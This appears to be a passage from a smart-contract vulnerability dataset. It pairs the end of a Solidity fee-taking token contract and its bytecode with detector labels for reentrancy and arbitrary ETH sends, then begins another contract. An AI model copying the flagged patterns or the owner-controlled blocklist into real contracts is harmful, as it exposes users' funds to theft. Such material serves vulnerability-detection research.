uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e7b565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612982565b61045e565b6040516101789190612e60565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061301d565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061292f565b61048d565b6040516101e09190612e60565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612895565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613092565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a0b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612895565b610783565b6040516102b1919061301d565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d92565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e7b565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612982565b61098d565b60405161035b9190612e60565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c2565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a65565b6110ac565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ef565b6111f5565b604051610418919061301d565b60405180910390f35b60606040518060400160405280600681526020017f47444d4154450000000000000000000000000000000000000000000000000000815250905090565b600061047261046b61127c565b8484611284565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144f565b61055b846104a661127c565b6105568560405180606001604052806028815260200161379960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e9092919063ffffffff16565b611284565b600190509392505050565b61056e61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f5d565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f5d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127c565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c72565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6d565b9050919050565b6107dc61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f5d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f47444d4154450000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127c565b848461144f565b6001905092915050565b6109b361127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f5d565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613333565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127c565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611ddb565b50565b610b5761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f5d565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fdd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611284565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128c2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128c2565b6040518363ffffffff1660e01b8152600401610df9929190612dad565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128c2565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612dff565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a92565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611056929190612dd6565b602060405180830381600087803b15801561107057600080fd5b505af1158015611084573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a89190612a38565b5050565b6110b461127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890612f5d565b60405180910390fd5b60008111611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90612f1d565b60405180910390fd5b6111b360646111a583683635c9adc5dea0000061206390919063ffffffff16565b6120de90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111ea919061301d565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb90612fbd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b90612edd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611442919061301d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b690612f9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152690612e9d565b60405180910390fd5b60008111611572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156990612f7d565b60405180910390fd5b61157a610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e857506115b8610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4b57600f60179054906101000a900460ff161561181b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181a57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176461127c565b73ffffffffffffffffffffffffffffffffffffffff1614806117da5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c261127c565b73ffffffffffffffffffffffffffffffffffffffff16145b611819576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181090612ffd565b60405180910390fd5b5b5b60105481111561182a57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ce5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119825750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f05750600f60179054906101000a900460ff165b15611a915742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4057600080fd5b603c42611a4d9190613153565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9c30610783565b9050600f60159054906101000a900460ff16158015611b095750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b215750600f60169054906101000a900460ff165b15611b4957611b2f81611ddb565b60004790506000811115611b4757611b4647611c72565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfc57600090505b611c0884848484612128565b50505050565b6000838311158290611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d9190612e7b565b60405180910390fd5b5060008385611c659190613234565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc26002846120de90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ced573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3e6002846120de90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d69573d6000803e3d6000fd5b5050565b6000600654821115611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab90612ebd565b60405180910390fd5b6000611dbe612155565b9050611dd381846120de90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1357611e12613409565b5b604051908082528060200260200182016040528015611e415781602001602082028036833780820191505090505b5090503081600081518110611e5957611e586133da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efb57600080fd5b505afa158015611f0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3391906128c2565b81600181518110611f4757611f466133da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fae30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611284565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612012959493929190613038565b600060405180830381600087803b15801561202c57600080fd5b505af1158015612040573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207657600090506120d8565b6000828461208491906131da565b905082848261209391906131a9565b146120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ca90612f3d565b60405180910390fd5b809150505b92915050565b600061212083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612180565b905092915050565b80612136576121356121e3565b5b612141848484612214565b8061214f5761214e6123df565b5b50505050565b60008060006121626123f1565b9150915061217981836120de90919063ffffffff16565b9250505090565b600080831182906121c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121be9190612e7b565b60405180910390fd5b50600083856121d691906131a9565b9050809150509392505050565b60006008541480156121f757506000600954145b1561220157612212565b600060088190555060006009819055505b565b60008060008060008061222687612453565b95509550955095509550955061228486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124bb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236581612563565b61236f8483612620565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cc919061301d565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612427683635c9adc5dea000006006546120de90919063ffffffff16565b82101561244657600654683635c9adc5dea0000093509350505061244f565b81819350935050505b9091565b60008060008060008060008060006124708a60085460095461265a565b9250925092506000612480612155565b905060008060006124938e8787876126f0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0e565b905092915050565b60008082846125149190613153565b905083811015612559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255090612efd565b60405180910390fd5b8091505092915050565b600061256d612155565b90506000612584828461206390919063ffffffff16565b90506125d881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612635826006546124bb90919063ffffffff16565b6006819055506126508160075461250590919063ffffffff16565b6007819055505050565b6000806000806126866064612678888a61206390919063ffffffff16565b6120de90919063ffffffff16565b905060006126b060646126a2888b61206390919063ffffffff16565b6120de90919063ffffffff16565b905060006126d9826126cb858c6124bb90919063ffffffff16565b6124bb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612709858961206390919063ffffffff16565b90506000612720868961206390919063ffffffff16565b90506000612737878961206390919063ffffffff16565b905060006127608261275285876124bb90919063ffffffff16565b6124bb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278c612787846130d2565b6130ad565b905080838252602082019050828560208602820111156127af576127ae61343d565b5b60005b858110156127df57816127c588826127e9565b8452602084019350602083019250506001810190506127b2565b5050509392505050565b6000813590506127f881613753565b92915050565b60008151905061280d81613753565b92915050565b600082601f83011261282857612827613438565b5b8135612838848260208601612779565b91505092915050565b6000813590506128508161376a565b92915050565b6000815190506128658161376a565b92915050565b60008135905061287a81613781565b92915050565b60008151905061288f81613781565b92915050565b6000602082840312156128ab576128aa613447565b5b60006128b9848285016127e9565b91505092915050565b6000602082840312156128d8576128d7613447565b5b60006128e6848285016127fe565b91505092915050565b6000806040838503121561290657612905613447565b5b6000612914858286016127e9565b9250506020612925858286016127e9565b9150509250929050565b60008060006060848603121561294857612947613447565b5b6000612956868287016127e9565b9350506020612967868287016127e9565b92505060406129788682870161286b565b9150509250925092565b6000806040838503121561299957612998613447565b5b60006129a7858286016127e9565b92505060206129b88582860161286b565b9150509250929050565b6000602082840312156129d8576129d7613447565b5b600082013567ffffffffffffffff8111156129f6576129f5613442565b5b612a0284828501612813565b91505092915050565b600060208284031215612a2157612a20613447565b5b6000612a2f84828501612841565b91505092915050565b600060208284031215612a4e57612a4d613447565b5b6000612a5c84828501612856565b91505092915050565b600060208284031215612a7b57612a7a613447565b5b6000612a898482850161286b565b91505092915050565b600080600060608486031215612aab57612aaa613447565b5b6000612ab986828701612880565b9350506020612aca86828701612880565b9250506040612adb86828701612880565b9150509250925092565b6000612af18383612afd565b60208301905092915050565b612b0681613268565b82525050565b612b1581613268565b82525050565b6000612b268261310e565b612b308185613131565b9350612b3b836130fe565b8060005b83811015612b6c578151612b538882612ae5565b9750612b5e83613124565b925050600181019050612b3f565b5085935050505092915050565b612b828161327a565b82525050565b612b91816132bd565b82525050565b6000612ba282613119565b612bac8185613142565b9350612bbc8185602086016132cf565b612bc58161344c565b840191505092915050565b6000612bdd602383613142565b9150612be88261345d565b604082019050919050565b6000612c00602a83613142565b9150612c0b826134ac565b604082019050919050565b6000612c23602283613142565b9150612c2e826134fb565b604082019050919050565b6000612c46601b83613142565b9150612c518261354a565b602082019050919050565b6000612c69601d83613142565b9150612c7482613573565b602082019050919050565b6000612c8c602183613142565b9150612c978261359c565b604082019050919050565b6000612caf602083613142565b9150612cba826135eb565b602082019050919050565b6000612cd2602983613142565b9150612cdd82613614565b604082019050919050565b6000612cf5602583613142565b9150612d0082613663565b604082019050919050565b6000612d18602483613142565b9150612d23826136b2565b604082019050919050565b6000612d3b601783613142565b9150612d4682613701565b602082019050919050565b6000612d5e601183613142565b9150612d698261372a565b602082019050919050565b612d7d816132a6565b82525050565b612d8c816132b0565b82525050565b6000602082019050612da76000830184612b0c565b92915050565b6000604082019050612dc26000830185612b0c565b612dcf6020830184612b0c565b9392505050565b6000604082019050612deb6000830185612b0c565b612df86020830184612d74565b9392505050565b600060c082019050612e146000830189612b0c565b612e216020830188612d74565b612e2e6040830187612b88565b612e3b6060830186612b88565b612e486080830185612b0c565b612e5560a0830184612d74565b979650505050505050565b6000602082019050612e756000830184612b79565b92915050565b60006020820190508181036000830152612e958184612b97565b905092915050565b60006020820190508181036000830152612eb681612bd0565b9050919050565b60006020820190508181036000830152612ed681612bf3565b9050919050565b60006020820190508181036000830152612ef681612c16565b9050919050565b60006020820190508181036000830152612f1681612c39565b9050919050565b60006020820190508181036000830152612f3681612c5c565b9050919050565b60006020820190508181036000830152612f5681612c7f565b9050919050565b60006020820190508181036000830152612f7681612ca2565b9050919050565b60006020820190508181036000830152612f9681612cc5565b9050919050565b60006020820190508181036000830152612fb681612ce8565b9050919050565b60006020820190508181036000830152612fd681612d0b565b9050919050565b60006020820190508181036000830152612ff681612d2e565b9050919050565b6000602082019050818103600083015261301681612d51565b9050919050565b60006020820190506130326000830184612d74565b92915050565b600060a08201905061304d6000830188612d74565b61305a6020830187612b88565b818103604083015261306c8186612b1b565b905061307b6060830185612b0c565b6130886080830184612d74565b9695505050505050565b60006020820190506130a76000830184612d83565b92915050565b60006130b76130c8565b90506130c38282613302565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ed576130ec613409565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315e826132a6565b9150613169836132a6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319e5761319d61337c565b5b828201905092915050565b60006131b4826132a6565b91506131bf836132a6565b9250826131cf576131ce6133ab565b5b828204905092915050565b60006131e5826132a6565b91506131f0836132a6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132295761322861337c565b5b828202905092915050565b600061323f826132a6565b915061324a836132a6565b92508282101561325d5761325c61337c565b5b828203905092915050565b600061327382613286565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c8826132a6565b9050919050565b60005b838110156132ed5780820151818401526020810190506132d2565b838111156132fc576000848401525b50505050565b61330b8261344c565b810181811067ffffffffffffffff8211171561332a57613329613409565b5b80604052505050565b600061333e826132a6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133715761337061337c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375c81613268565b811461376757600080fd5b50565b6137738161327a565b811461377e57600080fd5b50565b61378a816132a6565b811461379557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c3ed0ad454bde490fdc623ee2598cd9954f3f3e583fc2a7a68b4893e70bf3b864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,532 |
0x3875d5b8cd877923b5f014e31139e43ebf25d527
|
pragma solidity 0.7.0;
interface IOwnershipTransferrable {
function transferOwnership(address owner) external;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
abstract contract Ownable is IOwnershipTransferrable {
address private _owner;
constructor(address owner) {
_owner = owner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) override external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Seed is Ownable {
using SafeMath for uint256;
uint256 constant UINT256_MAX = ~uint256(0);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
